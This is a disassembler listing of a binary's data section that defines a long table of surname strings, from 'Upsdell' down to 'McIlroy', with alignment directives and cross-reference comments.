aUpsdell db 'Upsdell',0 ; DATA XREF: .nsp0:0043532Co
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .nsp0:00435328o
align 4
aUllman db 'Ullman',0 ; DATA XREF: .nsp0:00435324o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .nsp0:00435320o
align 4
aTwells db 'Twells',0 ; DATA XREF: .nsp0:0043531Co
align 10h
aTuttle_0 db 'Tuttle',0 ; DATA XREF: .nsp0:00435318o
align 4
aTurek db 'Turek',0 ; DATA XREF: .nsp0:00435314o
align 10h
aTurano db 'Turano',0 ; DATA XREF: .nsp0:00435310o
align 4
aTukan db 'Tukan',0 ; DATA XREF: .nsp0:0043530Co
align 10h
aTudge db 'Tudge',0 ; DATA XREF: .nsp0:00435308o
align 4
aTuck db 'Tuck',0 ; DATA XREF: .nsp0:00435304o
align 10h
aTsukurov db 'Tsukurov',0 ; DATA XREF: .nsp0:00435300o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: .nsp0:004352FCo
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .nsp0:004352F8o
aTruss db 'Truss',0 ; DATA XREF: .nsp0:004352F4o
align 4
aTroy db 'Troy',0 ; DATA XREF: .nsp0:004352F0o
align 10h
aTroiani db 'Troiani',0 ; DATA XREF: .nsp0:004352ECo
aTringali db 'Tringali',0 ; DATA XREF: .nsp0:004352E8o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .nsp0:004352E4o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .nsp0:004352E0o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .nsp0:004352DCo
align 10h
aToye db 'Toye',0 ; DATA XREF: .nsp0:004352D8o
align 4
aTowler db 'Towler',0 ; DATA XREF: .nsp0:004352D4o
align 10h
aTorske db 'Torske',0 ; DATA XREF: .nsp0:004352D0o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: .nsp0:004352CCo
aTopulos db 'Topulos',0 ; DATA XREF: .nsp0:004352C8o
aToomer db 'Toomer',0 ; DATA XREF: .nsp0:004352C4o
align 10h
aTomford db 'Tomford',0 ; DATA XREF: .nsp0:004352C0o
aTolman db 'Tolman',0 ; DATA XREF: .nsp0:004352BCo
align 10h
aTolls db 'Tolls',0 ; DATA XREF: .nsp0:004352B8o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .nsp0:004352B4o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .nsp0:004352B0o
align 10h
aTimmons db 'Timmons',0 ; DATA XREF: .nsp0:004352ACo
aTill db 'Till',0 ; DATA XREF: .nsp0:004352A8o
align 10h
aTierney db 'Tierney',0 ; DATA XREF: .nsp0:004352A4o
aThroop db 'Throop',0 ; DATA XREF: .nsp0:004352A0o
align 10h
aThomsen db 'Thomsen',0 ; DATA XREF: .nsp0:0043529Co
aThisted db 'Thisted',0 ; DATA XREF: .nsp0:00435298o
aThibault db 'Thibault',0 ; DATA XREF: .nsp0:00435294o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .nsp0:00435290o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .nsp0:0043528Co
align 4
aThan db 'Than',0 ; DATA XREF: .nsp0:00435288o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .nsp0:00435284o
align 4
aTenney db 'Tenney',0 ; DATA XREF: .nsp0:00435280o
align 10h
aTemmer db 'Temmer',0 ; DATA XREF: .nsp0:0043527Co
align 4
aTemes db 'Temes',0 ; DATA XREF: .nsp0:00435278o
align 10h
aTeague db 'Teague',0 ; DATA XREF: .nsp0:00435274o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .nsp0:00435270o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .nsp0:0043526Co
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .nsp0:00435268o
aTatar db 'Tatar',0 ; DATA XREF: .nsp0:00435264o
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: .nsp0:00435260o
align 4
aTandler db 'Tandler',0 ; DATA XREF: .nsp0:0043525Co
aTambiah db 'Tambiah',0 ; DATA XREF: .nsp0:00435258o
aTalaugon db 'Talaugon',0 ; DATA XREF: .nsp0:00435254o
align 4
aTai db 'Tai',0 ; DATA XREF: .nsp0:00435250o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .nsp0:0043524Co
aSwindle db 'Swindle',0 ; DATA XREF: .nsp0:off_435248o
aSweetser db 'Sweetser',0 ; DATA XREF: .nsp0:00435244o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .nsp0:00435240o
align 10h
aSurdam db 'Surdam',0 ; DATA XREF: .nsp0:0043523Co
align 4
aSuo db 'Suo',0 ; DATA XREF: .nsp0:00435238o
aSumner db 'Sumner',0 ; DATA XREF: .nsp0:00435234o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .nsp0:00435230o
align 10h
aStringer db 'Stringer',0 ; DATA XREF: .nsp0:0043522Co
align 4
aStreiff db 'Streiff',0 ; DATA XREF: .nsp0:00435228o
aStrauch db 'Strauch',0 ; DATA XREF: .nsp0:00435224o
aStrange_0 db 'Strange',0 ; DATA XREF: .nsp0:00435220o
aStott db 'Stott',0 ; DATA XREF: .nsp0:0043521Co
align 4
aStorer db 'Storer',0 ; DATA XREF: .nsp0:00435218o
align 4
aStonich db 'Stonich',0 ; DATA XREF: .nsp0:00435214o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .nsp0:00435210o
aStockwell db 'Stockwell',0 ; DATA XREF: .nsp0:0043520Co
align 4
aStockton db 'Stockton',0 ; DATA XREF: .nsp0:00435208o
align 10h
aStock db 'Stock',0 ; DATA XREF: .nsp0:00435204o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .nsp0:00435200o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .nsp0:004351FCo
align 10h
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .nsp0:004351F8o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: .nsp0:004351F4o
aStephanian db 'Stephanian',0 ; DATA XREF: .nsp0:004351F0o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: .nsp0:004351ECo
aStefani db 'Stefani',0 ; DATA XREF: .nsp0:004351E8o
aStatlender db 'Statlender',0 ; DATA XREF: .nsp0:004351E4o
align 4
aStates db 'States',0 ; DATA XREF: .nsp0:004351E0o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .nsp0:004351DCo
align 4
aStang db 'Stang',0 ; DATA XREF: .nsp0:004351D8o
align 4
aStam db 'Stam',0 ; DATA XREF: .nsp0:004351D4o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .nsp0:004351D0o
aStmartin db 'StMartin',0 ; DATA XREF: .nsp0:004351CCo
align 10h
aSpinrad db 'Spinrad',0 ; DATA XREF: .nsp0:004351C8o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .nsp0:004351C4o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .nsp0:004351C0o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .nsp0:004351BCo
align 4
aSperber db 'Sperber',0 ; DATA XREF: .nsp0:004351B8o
aSpence db 'Spence',0 ; DATA XREF: .nsp0:004351B4o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .nsp0:004351B0o
aSpaulding db 'Spaulding',0 ; DATA XREF: .nsp0:004351ACo
align 10h
aSparrow db 'Sparrow',0 ; DATA XREF: .nsp0:004351A8o
aSpanier db 'Spanier',0 ; DATA XREF: .nsp0:004351A4o
aSoultanian db 'Soultanian',0 ; DATA XREF: .nsp0:004351A0o
align 4
aSoule db 'Soule',0 ; DATA XREF: .nsp0:0043519Co
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .nsp0:00435198o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .nsp0:00435194o
align 4
aSorg db 'Sorg',0 ; DATA XREF: .nsp0:00435190o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .nsp0:0043518Co
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .nsp0:00435188o
align 4
aSomers db 'Somers',0 ; DATA XREF: .nsp0:00435184o
align 4
aSolon db 'Solon',0 ; DATA XREF: .nsp0:00435180o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .nsp0:0043517Co
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .nsp0:00435178o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .nsp0:00435174o
aSmilow db 'Smilow',0 ; DATA XREF: .nsp0:00435170o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .nsp0:0043516Co
align 10h
aSloan db 'Sloan',0 ; DATA XREF: .nsp0:00435168o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .nsp0:00435164o
align 10h
aSkerry db 'Skerry',0 ; DATA XREF: .nsp0:00435160o
align 4
aSkane db 'Skane',0 ; DATA XREF: .nsp0:0043515Co
align 10h
aSites db 'Sites',0 ; DATA XREF: .nsp0:00435158o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .nsp0:00435154o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .nsp0:00435150o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .nsp0:0043514Co
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .nsp0:00435148o
align 4
aSigna db 'Signa',0 ; DATA XREF: .nsp0:00435144o
align 4
aSigini db 'Sigini',0 ; DATA XREF: .nsp0:00435140o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .nsp0:0043513Co
aSiesto db 'Siesto',0 ; DATA XREF: .nsp0:00435138o
align 4
aShimon db 'Shimon',0 ; DATA XREF: .nsp0:00435134o
align 4
aShibata db 'Shibata',0 ; DATA XREF: .nsp0:00435130o
aShia db 'Shia',0 ; DATA XREF: .nsp0:0043512Co
align 4
aShesko db 'Shesko',0 ; DATA XREF: .nsp0:00435128o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .nsp0:00435124o
align 10h
aSheppard db 'Sheppard',0 ; DATA XREF: .nsp0:00435120o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .nsp0:0043511Co
align 4
aSheats db 'Sheats',0 ; DATA XREF: .nsp0:00435118o
align 10h
aShea db 'Shea',0 ; DATA XREF: .nsp0:00435114o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: .nsp0:00435110o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .nsp0:0043510Co
aShar db 'Shar',0 ; DATA XREF: .nsp0:00435108o
align 4
aShanley db 'Shanley',0 ; DATA XREF: .nsp0:00435104o
aShankland db 'Shankland',0 ; DATA XREF: .nsp0:00435100o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .nsp0:004350FCo
align 10h
aShaikh db 'Shaikh',0 ; DATA XREF: .nsp0:004350F8o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .nsp0:004350F4o
aSexton db 'Sexton',0 ; DATA XREF: .nsp0:004350F0o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .nsp0:004350ECo
align 4
aSennett db 'Sennett',0 ; DATA XREF: .nsp0:004350E8o
aSen db 'Sen',0 ; DATA XREF: .nsp0:004350E4o
aSelvage db 'Selvage',0 ; DATA XREF: .nsp0:004350E0o
aSekler db 'Sekler',0 ; DATA XREF: .nsp0:004350DCo
align 10h
aSegal db 'Segal',0 ; DATA XREF: .nsp0:004350D8o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .nsp0:004350D4o
align 10h
aSeaton db 'Seaton',0 ; DATA XREF: .nsp0:004350D0o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .nsp0:004350CCo
aScovel db 'Scovel',0 ; DATA XREF: .nsp0:004350C8o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .nsp0:004350C4o
aSchwan db 'Schwan',0 ; DATA XREF: .nsp0:004350C0o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: .nsp0:004350BCo
align 4
aSchutte db 'Schutte',0 ; DATA XREF: .nsp0:004350B8o
aSchuman db 'Schuman',0 ; DATA XREF: .nsp0:004350B4o
aSchossberger db 'Schossberger',0 ; DATA XREF: .nsp0:004350B0o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .nsp0:004350ACo
aSchilling db 'Schilling',0 ; DATA XREF: .nsp0:004350A8o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: .nsp0:004350A4o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .nsp0:004350A0o
aScheiner db 'Scheiner',0 ; DATA XREF: .nsp0:0043509Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .nsp0:00435098o
aScharf db 'Scharf',0 ; DATA XREF: .nsp0:00435094o
align 10h
aScepan db 'Scepan',0 ; DATA XREF: .nsp0:00435090o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .nsp0:0043508Co
align 4
aSayied db 'Sayied',0 ; DATA XREF: .nsp0:00435088o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .nsp0:00435084o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .nsp0:00435080o
align 4
aSatta db 'Satta',0 ; DATA XREF: .nsp0:0043507Co
align 4
aSatin db 'Satin',0 ; DATA XREF: .nsp0:00435078o
align 4
aSase db 'Sase',0 ; DATA XREF: .nsp0:00435074o
align 4
aSartore db 'Sartore',0 ; DATA XREF: .nsp0:00435070o
aSarin db 'Sarin',0 ; DATA XREF: .nsp0:0043506Co
align 4
aSapers db 'Sapers',0 ; DATA XREF: .nsp0:00435068o
align 4
aSanna db 'Sanna',0 ; DATA XREF: .nsp0:00435064o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .nsp0:00435060o
aSamson db 'Samson',0 ; DATA XREF: .nsp0:0043505Co
align 4
aSali db 'Sali',0 ; DATA XREF: .nsp0:00435058o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .nsp0:00435054o
align 4
aSafire db 'Safire',0 ; DATA XREF: .nsp0:00435050o
align 4
aSadler db 'Sadler',0 ; DATA XREF: .nsp0:0043504Co
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .nsp0:00435048o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: .nsp0:00435044o
aRush_0 db 'Rush',0 ; DATA XREF: .nsp0:00435040o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .nsp0:0043503Co
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .nsp0:00435038o
align 4
aRuan db 'Ruan',0 ; DATA XREF: .nsp0:00435034o
align 4
aRu db 'Ru',0 ; DATA XREF: .nsp0:00435030o
align 10h
aRoyal db 'Royal',0 ; DATA XREF: .nsp0:0043502Co
align 4
aRow db 'Row',0 ; DATA XREF: .nsp0:00435028o
aRonen db 'Ronen',0 ; DATA XREF: .nsp0:00435024o
align 4
aRogers db 'Rogers',0 ; DATA XREF: .nsp0:00435020o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .nsp0:0043501Co
aRocha db 'Rocha',0 ; DATA XREF: .nsp0:00435018o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .nsp0:00435014o
align 4
aRivera db 'Rivera',0 ; DATA XREF: .nsp0:00435010o
align 10h
aRish db 'Rish',0 ; DATA XREF: .nsp0:0043500Co
align 4
aRineer db 'Rineer',0 ; DATA XREF: .nsp0:00435008o
align 10h
aRindos db 'Rindos',0 ; DATA XREF: .nsp0:00435004o
align 4
aRielly db 'Rielly',0 ; DATA XREF: .nsp0:00435000o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: .nsp0:00434FFCo
align 4
aRhea db 'Rhea',0 ; DATA XREF: .nsp0:00434FF8o
align 4
aResnik db 'Resnik',0 ; DATA XREF: .nsp0:00434FF4o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .nsp0:00434FF0o
aRenick db 'Renick',0 ; DATA XREF: .nsp0:00434FECo
align 4
aRemak db 'Remak',0 ; DATA XREF: .nsp0:00434FE8o
align 4
aReinold db 'Reinold',0 ; DATA XREF: .nsp0:00434FE4o
aCunningham db 'Cunningham',0 ; DATA XREF: .nsp0:00434FE0o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .nsp0:00434FDCo
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .nsp0:00434FD8o
align 4
aRayport db 'Rayport',0 ; DATA XREF: .nsp0:00434FD4o
aRapple db 'Rapple',0 ; DATA XREF: .nsp0:00434FD0o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .nsp0:00434FCCo
align 4
aRangan db 'Rangan',0 ; DATA XREF: .nsp0:00434FC8o
align 4
aRaney db 'Raney',0 ; DATA XREF: .nsp0:00434FC4o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .nsp0:00434FC0o
aRadeke db 'Radeke',0 ; DATA XREF: .nsp0:00434FBCo
align 10h
aRabkin db 'Rabkin',0 ; DATA XREF: .nsp0:00434FB8o
align 4
aRabe db 'Rabe',0 ; DATA XREF: .nsp0:00434FB4o
align 10h
aQuetin db 'Quetin',0 ; DATA XREF: .nsp0:00434FB0o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: .nsp0:00434FACo
align 10h
aPynchon db 'Pynchon',0 ; DATA XREF: .nsp0:00434FA8o
aPugh db 'Pugh',0 ; DATA XREF: .nsp0:00434FA4o
align 10h
aPuccia db 'Puccia',0 ; DATA XREF: .nsp0:00434FA0o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .nsp0:00434F9Co
align 4
aProietti db 'Proietti',0 ; DATA XREF: .nsp0:00434F98o
align 4
aPritz db 'Pritz',0 ; DATA XREF: .nsp0:00434F94o
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: .nsp0:00434F90o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: .nsp0:00434F8Co
aPreucel db 'Preucel',0 ; DATA XREF: .nsp0:00434F88o
aPresper db 'Presper',0 ; DATA XREF: .nsp0:00434F84o
aPowers db 'Powers',0 ; DATA XREF: .nsp0:00434F80o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .nsp0:00434F7Co
aPoma db 'Poma',0 ; DATA XREF: .nsp0:00434F78o
align 4
aPolitis db 'Politis',0 ; DATA XREF: .nsp0:00434F74o
aPolanyi db 'Polanyi',0 ; DATA XREF: .nsp0:00434F70o
aPolak db 'Polak',0 ; DATA XREF: .nsp0:00434F6Co
align 10h
aPoirier db 'Poirier',0 ; DATA XREF: .nsp0:00434F68o
aPointer db 'Pointer',0 ; DATA XREF: .nsp0:00434F64o
aPoincaire db 'Poincaire',0 ; DATA XREF: .nsp0:00434F60o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .nsp0:00434F5Co
align 4
aPo db 'Po',0 ; DATA XREF: .nsp0:00434F58o
align 4
aPlous db 'Plous',0 ; DATA XREF: .nsp0:00434F54o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .nsp0:00434F50o
aPlant db 'Plant',0 ; DATA XREF: .nsp0:00434F4Co
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .nsp0:00434F48o
aPinot db 'Pinot',0 ; DATA XREF: .nsp0:00434F44o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .nsp0:00434F40o
aPfister db 'Pfister',0 ; DATA XREF: .nsp0:00434F3Co
aPettit db 'Pettit',0 ; DATA XREF: .nsp0:00434F38o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .nsp0:00434F34o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .nsp0:00434F30o
align 4
aPeters db 'Peters',0 ; DATA XREF: .nsp0:00434F2Co
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .nsp0:00434F28o
align 4
aPerone db 'Perone',0 ; DATA XREF: .nsp0:00434F24o
align 10h
aPerna db 'Perna',0 ; DATA XREF: .nsp0:00434F20o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .nsp0:00434F1Co
aPerlak db 'Perlak',0 ; DATA XREF: .nsp0:00434F18o
align 4
aPerko db 'Perko',0 ; DATA XREF: .nsp0:00434F14o
align 10h
aPereira db 'Pereira',0 ; DATA XREF: .nsp0:00434F10o
aPenny db 'Penny',0 ; DATA XREF: .nsp0:00434F0Co
align 10h
aPeishel db 'Peishel',0 ; DATA XREF: .nsp0:00434F08o
aPederson db 'Pederson',0 ; DATA XREF: .nsp0:00434F04o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .nsp0:00434F00o
align 10h
aPeabody db 'Peabody',0 ; DATA XREF: .nsp0:00434EFCo
aPaynter db 'Paynter',0 ; DATA XREF: .nsp0:00434EF8o
aPawloski db 'Pawloski',0 ; DATA XREF: .nsp0:00434EF4o
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: .nsp0:00434EF0o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .nsp0:00434EECo
aPattullo db 'Pattullo',0 ; DATA XREF: .nsp0:00434EE8o
align 4
aPatrick_0 db 'Patrick',0 ; DATA XREF: .nsp0:00434EE4o
aPatefield db 'Patefield',0 ; DATA XREF: .nsp0:00434EE0o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .nsp0:00434EDCo
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .nsp0:00434ED8o
align 4
aParris db 'Parris',0 ; DATA XREF: .nsp0:00434ED4o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .nsp0:00434ED0o
aPaoletti db 'Paoletti',0 ; DATA XREF: .nsp0:00434ECCo
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .nsp0:00434EC8o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: .nsp0:00434EC4o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .nsp0:00434EC0o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .nsp0:00434EBCo
align 4
aPallara db 'Pallara',0 ; DATA XREF: .nsp0:00434EB8o
aPalepu db 'Palepu',0 ; DATA XREF: .nsp0:00434EB4o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .nsp0:00434EB0o
align 10h
aPaine db 'Paine',0 ; DATA XREF: .nsp0:00434EACo
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .nsp0:00434EA8o
align 4
aOvid db 'Ovid',0 ; DATA XREF: .nsp0:00434EA4o
align 10h
aOuchida db 'Ouchida',0 ; DATA XREF: .nsp0:00434EA0o
aOtten db 'Otten',0 ; DATA XREF: .nsp0:00434E9Co
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: .nsp0:00434E98o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .nsp0:00434E94o
align 4
aOspina db 'Ospina',0 ; DATA XREF: .nsp0:00434E90o
align 10h
aOrsi db 'Orsi',0 ; DATA XREF: .nsp0:00434E8Co
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .nsp0:00434E88o
aOray db 'Oray',0 ; DATA XREF: .nsp0:00434E84o
align 4
aOpel db 'Opel',0 ; DATA XREF: .nsp0:00434E80o
align 10h
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .nsp0:00434E7Co
aOman db 'Oman',0 ; DATA XREF: .nsp0:00434E78o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .nsp0:00434E74o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .nsp0:00434E70o
align 4
aOlson db 'Olson',0 ; DATA XREF: .nsp0:00434E6Co
align 10h
aOlsen db 'Olsen',0 ; DATA XREF: .nsp0:00434E68o
align 4
aOldford db 'Oldford',0 ; DATA XREF: .nsp0:00434E64o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .nsp0:00434E60o
aOh db 'Oh',0 ; DATA XREF: .nsp0:00434E5Co
align 4
aOgata db 'Ogata',0 ; DATA XREF: .nsp0:00434E58o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .nsp0:00434E54o
aNuzum db 'Nuzum',0 ; DATA XREF: .nsp0:00434E50o
align 4
aNotman db 'Notman',0 ; DATA XREF: .nsp0:00434E4Co
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .nsp0:00434E48o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .nsp0:00434E44o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .nsp0:00434E40o
align 10h
aNickerson db 'Nickerson',0 ; DATA XREF: .nsp0:00434E3Co
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .nsp0:00434E38o
align 10h
aNg db 'Ng',0 ; DATA XREF: .nsp0:00434E34o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .nsp0:00434E30o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .nsp0:00434E2Co
aNeuman db 'Neuman',0 ; DATA XREF: .nsp0:00434E28o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .nsp0:00434E24o
align 4
aNenna db 'Nenna',0 ; DATA XREF: .nsp0:00434E20o
align 4
aNelson db 'Nelson',0 ; DATA XREF: .nsp0:00434E1Co
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .nsp0:00434E18o
aNaviaux db 'Naviaux',0 ; DATA XREF: .nsp0:00434E14o
aNardone db 'Nardone',0 ; DATA XREF: .nsp0:00434E10o
aNardi db 'Nardi',0 ; DATA XREF: .nsp0:00434E0Co
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .nsp0:00434E08o
align 10h
aNaddeo db 'Naddeo',0 ; DATA XREF: .nsp0:00434E04o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: .nsp0:00434E00o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .nsp0:00434DFCo
aMulroy db 'Mulroy',0 ; DATA XREF: .nsp0:00434DF8o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .nsp0:00434DF4o
aMugnai db 'Mugnai',0 ; DATA XREF: .nsp0:00434DF0o
align 4
aMuello db 'Muello',0 ; DATA XREF: .nsp0:00434DECo
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: .nsp0:00434DE8o
aMotooka db 'Motooka',0 ; DATA XREF: .nsp0:00434DE4o
aMostafavi db 'Mostafavi',0 ; DATA XREF: .nsp0:00434DE0o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .nsp0:00434DDCo
align 10h
aMosher db 'Mosher',0 ; DATA XREF: .nsp0:00434DD8o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .nsp0:00434DD4o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .nsp0:00434DD0o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: .nsp0:00434DCCo
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .nsp0:00434DC8o
aMorani db 'Morani',0 ; DATA XREF: .nsp0:00434DC4o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .nsp0:00434DC0o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .nsp0:00434DBCo
align 10h
aMonque db 'Monque',0 ; DATA XREF: .nsp0:00434DB8o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .nsp0:00434DB4o
align 4
aMohr db 'Mohr',0 ; DATA XREF: .nsp0:00434DB0o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .nsp0:00434DACo
aModestino db 'Modestino',0 ; DATA XREF: .nsp0:00434DA8o
align 10h
aMocroft db 'Mocroft',0 ; DATA XREF: .nsp0:00434DA4o
aMittal db 'Mittal',0 ; DATA XREF: .nsp0:00434DA0o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .nsp0:00434D9Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: .nsp0:00434D98o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .nsp0:00434D94o
aMini db 'Mini',0 ; DATA XREF: .nsp0:00434D90o
align 4
aMinh db 'Minh',0 ; DATA XREF: .nsp0:00434D8Co
align 4
aMills db 'Mills',0 ; DATA XREF: .nsp0:00434D88o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .nsp0:00434D84o
align 4
aMiddle db 'Middle',0 ; DATA XREF: .nsp0:00434D80o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .nsp0:00434D7Co
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .nsp0:00434D78o
align 10h
aMetropolis db 'Metropolis',0 ; DATA XREF: .nsp0:00434D74o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: .nsp0:00434D70o
aMerz db 'Merz',0 ; DATA XREF: .nsp0:00434D6Co
align 4
aMerseth db 'Merseth',0 ; DATA XREF: .nsp0:00434D68o
aMerminod db 'Merminod',0 ; DATA XREF: .nsp0:00434D64o
align 10h
aMerlani db 'Merlani',0 ; DATA XREF: .nsp0:00434D60o
aMerikoski db 'Merikoski',0 ; DATA XREF: .nsp0:00434D5Co
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .nsp0:00434D58o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .nsp0:00434D54o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: .nsp0:00434D50o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .nsp0:00434D4Co
aMcnealy db 'Mcnealy',0 ; DATA XREF: .nsp0:00434D48o
aMclaren db 'Mclaren',0 ; DATA XREF: .nsp0:00434D44o
aMclane db 'Mclane',0 ; DATA XREF: .nsp0:00434D40o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .nsp0:00434D3Co
aMcintosh db 'Mcintosh',0 ; DATA XREF: .nsp0:00434D38o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .nsp0:00434D34o
